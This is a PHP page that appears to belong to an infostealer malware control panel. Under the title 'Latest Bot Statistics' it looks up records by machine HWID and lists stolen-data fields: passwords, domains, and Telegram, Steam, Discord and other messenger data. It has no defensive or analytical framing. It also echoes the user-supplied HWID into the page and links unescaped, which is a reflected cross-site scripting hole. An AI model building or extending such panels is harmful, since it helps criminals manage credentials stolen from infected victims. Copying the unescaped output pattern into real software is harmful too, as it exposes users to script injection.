<?php
// File created by panel_fix.php to directly get latest stats
error_reporting(E_ALL);
ini_set("display_errors", 1);

// Include database configuration
include("config.php");

// Get HWID from GET parameter or use the test one
$hwid = isset($_GET["hwid"]) ? $_GET["hwid"] : "LBBFEBFBFF000B06A2admin";

// Function to get or update stats directly from database
function getOrUpdateStats($hwid, $force = true) {
    global $condb;
    
    // Force fresh data when requested
    if ($force) {
        $updateQuery = "UPDATE logs SET last_updated = NOW() WHERE hwid = ?";
        $stmt = mysqli_prepare($condb, $updateQuery);
        if ($stmt) {
            mysqli_stmt_bind_param($stmt, "s", $hwid);
            mysqli_stmt_execute($stmt);
            mysqli_stmt_close($stmt);
        }
    }
    
    // Get latest stats directly from database
    $query = "SELECT * FROM logs WHERE hwid = ?";
    $stmt = mysqli_prepare($condb, $query);
    
    if ($stmt) {
        mysqli_stmt_bind_param($stmt, "s", $hwid);
        mysqli_stmt_execute($stmt);
        $result = mysqli_stmt_get_result($stmt);
        
        if ($result && mysqli_num_rows($result) > 0) {
            $stats = mysqli_fetch_assoc($result);
            return $stats;
        }
        
        mysqli_stmt_close($stmt);
    }
    
    return null;
}

// Get stats
$stats = getOrUpdateStats($hwid, isset($_GET["force"]));

// Return as JSON or display
if (isset($_GET["json"])) {
    header("Content-Type: application/json");
    echo json_encode($stats);
    exit;
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>Latest Bot Statistics</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; }
        table { border-collapse: collapse; width: 100%; margin-bottom: 20px; }
        th, td { border: 1px solid #ddd; padding: 8px; text-align: left; }
        th { background-color: #f2f2f2; }
        .btn {
            display: inline-block;
            padding: 10px;
            background-color: #4CAF50;
            color: white;
            text-decoration: none;
            border-radius: 4px;
            margin-right: 10px;
        }
    </style>
</head>
<body>
    <h1>Latest Bot Statistics</h1>
    <p>Showing the most recent data for HWID: <?php echo $hwid; ?></p>
    
    <?php if ($stats): ?>
    <table>
        <tr><th>Field</th><th>Value</th></tr>
        <tr><td>Passwords</td><td><?php echo $stats["Passwords"]; ?></td></tr>
        <tr><td>pwd_count</td><td><?php echo $stats["pwd_count"]; ?></td></tr>
        <tr><td>Domains</td><td><?php echo $stats["domains"]; ?></td></tr>
        <tr><td>Telegram</td><td><?php echo $stats["Telegram"]; ?></td></tr>
        <tr><td>Steam</td><td><?php echo $stats["Steam"]; ?></td></tr>
        <tr><td>Gaming</td><td><?php echo $stats["Gaming"]; ?></td></tr>
        <tr><td>OtherMessengers</td><td><?php echo $stats["OtherMessengers"]; ?></td></tr>
        <tr><td>Discord</td><td><?php echo $stats["Discord"]; ?></td></tr>
        <tr><td>Last Updated</td><td><?php echo $stats["last_updated"]; ?></td></tr>
    </table>
    
    <div>
        <a href="get_latest_stats.php?hwid=<?php echo $hwid; ?>&force=1" class="btn">Refresh Stats</a>
        <a href="logs.php?hwid=<?php echo $hwid; ?>&force=1" class="btn">Process Files Again</a>
        <a href="clear_cache.php?hwid=<?php echo $hwid; ?>" class="btn">Clear Cache</a>
    </div>
    <?php else: ?>
    <p>No statistics found for HWID: <?php echo $hwid; ?></p>
    <?php endif; ?>
</body>
</html>